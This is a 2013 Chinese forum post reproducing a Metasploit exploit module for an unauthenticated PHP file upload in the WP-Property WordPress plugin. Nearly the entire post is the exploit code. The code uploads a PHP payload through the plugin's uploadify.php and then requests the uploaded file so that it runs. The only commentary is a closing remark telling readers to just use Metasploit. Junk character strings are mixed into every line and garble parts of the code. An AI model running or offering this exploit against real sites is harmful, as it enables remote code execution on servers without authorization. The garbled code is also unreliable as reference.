标题: WordPress WP-Property PHP 文件上传漏洞 [打印本页] 作者: admin 时间: 2013-1-4 19:51 标题: WordPress WP-Property PHP 文件上传漏洞 WordPress WP-Property PHP 文件上传漏洞) N0 J9 x1 D* Z) c' m
$ C5 X/ H3 N& n* J: x
## # This file is part of the Metasploit Framework and may be subject to& J5 _- H/ x5 y G5 ?2 i4 b
% B0 G {0 h1 T+ H, |5 J& o/ f# u# redistribution and commercial restrictions. Please see the Metasploit # N& Q" X) |3 L6 l1 [! L # j2 Q% _! [2 R% Y ^# Framework web site for more information on licensing and terms of use. ! R+ ^; M8 v- F8 H$ ^6 {. z" x: x4 ~4 A8 u+ |
# http://metasploit.com/framework/ ##7 O( ~# L( t | M& q* O
* ~0 R3 M2 U& \8 D, K* ~0 C - h: e. l$ r2 Y2 u: z
9 V, s& H2 m: H4 B: m! F" B
6 n+ J; I+ b: s' ] & {! G$ F' E0 N+ b. W" drequire 'msf/core' % Z, ]6 O' i: l8 [require 'msf/core/exploit/php_exe'9 U, Z. b5 F& ], a( t' j
0 p) F5 i+ Y7 a
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit:hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', $ d4 P/ F7 h" J/ R4 h'Description' => %q{ 4 E) V3 a4 ^" {/ o$ m. G; `This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>. a6 a; i0 h. {' q
[ 5 Q1 F( H# h8 x'Sammy FORGIT', # initial discovery% r: B! T9 x, c/ i
'James Fitts <fitts.james[at]gmail.com>' # metasploit module : \1 A6 l6 g8 d9 s- H],, j3 J( B0 P. m+ k' P5 j
'License' => MSF_LICENSE, , y3 q) A) p. r5 ], M! n'References' =>! b7 T F# Z& z4 @. b: l
[ ; R3 J; A, K; {) v1 G[ 'OSVDB', '82656' ], $ Y' R8 x/ ?$ n4 S% H# M1 h[ 'BID', '53787' ], $ l; B+ @$ o" j+ W[ 'EDB', '18987'], E3 t3 |7 H' t. {[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ] 0 d- U, Z5 O- m* r, P: H],/ Y2 M+ Q% i- C
'Payload' =>8 o! t' q+ Q# h# ]9 m; o
{) P# a3 O7 W: p2 g: t
'BadChars' => "\x00",% K! ?3 {: o+ X7 j* t9 U, F
},5 @, j6 ?8 u" B, n. f4 V
'Platform' => 'php',- D5 `+ w$ Y6 X9 M/ U; y8 N2 z
'Arch' => ARCH_PHP, + [8 B% G" e# O% ~# Q6 c) ~'Targets' => 6 H \2 G( ^2 R* R2 V[ . D; ~( O& i$ ^! ^! A U3 _) I[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], & m" s( [; I/ v[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] 1 Q7 p* @$ [2 D, C/ t* [6 |" m' F; Z], + E% C: M. u8 l2 @) b6 N'DefaultTarget' => 0, 5 G& I& s/ v: Z/ F" J' T'DisclosureDate' => 'Mar 26 2012')) & |# ^/ M' J1 I! E# P' N7 n0 I+ Q( H/ o1 Y/ E! t: _
register_options( 3 {) ~5 V1 e3 U/ `- T0 m[+ ]$ O& t# V3 I! [
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) H1 H9 [3 x; |" N
], self.class)9 S3 }) J& Z; z5 F, g) `
end. h* i7 M* a$ x$ h! ^8 @: r
4 @) ^" U& C" g/ ^, C* \7 t
def check 5 `- N8 C1 ?! ?/ z; }uri = target_uri.path y5 K- A3 M* yuri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', - f. H* G/ W: L, [$ M) ~'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" 0 D% K$ `8 c1 l& r, [2 L& Q. c})3 R$ E- v+ S$ F% [- `1 @
4 a# Y9 O) U6 Z; W: L- m1 b) [if not res or res.code != 200 " \/ U2 h& T: \! X7 g4 R7 sreturn Exploit::CheckCode::Unknown 0 {" X! a% f; i+ ?end. N5 h$ C: q" P' _
; P8 |1 _* ^; K* S& i' h7 P0 B% t2 jreturn Exploit::CheckCode::Appears 9 H9 ~. p" Y) Zend . \2 _# L5 b! Y, L# z5 f2 [/ i4 j; u% e/ v
def exploit, g& `5 H- @* K, G) `& p C, v/ T
uri = target_uri.path3 ? [5 T( Q" P! J& O. c$ r2 A
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)* t8 c: a) Z3 K* t/ ~: j# O: s
* j5 \6 c0 h) odata = Rex::MIME::Message.new; G. N9 w2 _; K2 v, Q7 F6 B
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") / w6 e l3 b1 k5 sdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"") / A# e4 r! s _7 f7 f) t" N$ hpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')- S% a8 J3 p' {% b
" ^+ L! H! l- J' J9 F
print_status("#{peer} - Uploading payload #{@payload_name}") 5 A8 X O+ r7 U: D, l7 C/ gres = send_request_cgi({ , f* x8 w& u, y; }. t'method' => 'POST', ! H5 D& w( T2 D2 @5 s'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",% r1 t+ ?4 u" y) L9 H4 M7 \
'ctype' => "multipart/form-data; boundary=#{data.bound}",6 M7 @# x! x+ F) O$ r" [
'data' => post_data* m, l" k3 E- H$ A
}) , i G; `+ m% Z9 M4 @- T* q5 d. U, ?' W) U- ]/ g
if not res or res.code != 200 or res.body !~ /#{@payload_name}/ 8 O ~+ v. h+ a, kfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"), r( L8 N' F( f$ I$ ]5 G5 S( c
end e3 Y+ a" M) p) p* u" M/ W5 S, u6 p& c
upload_uri = res.body / l- p* w. o' X ; L. H/ X' O. k! f% |print_status("#{peer} - Executing payload #{@payload_name}")8 u% e: H5 i6 Z* Q1 _) }% O
res = send_request_raw({ " G$ V4 p9 @3 B4 C" i3 r! n4 L'uri' => upload_uri,) q! L" u8 H2 u5 n
'method' => 'GET'& D' s: F- q4 \ ^0 q7 I, w8 h
}) , j5 M" H! Z( L4 Oend. w$ W* p- }7 S
end; p2 d7 R) V6 F: H0 j, U
; Q- j$ C' f: J; _2 I
不要问我这写的是什么 怎么利用 我是说msf., N3 J v' {/ V: @; M5 P. X' Z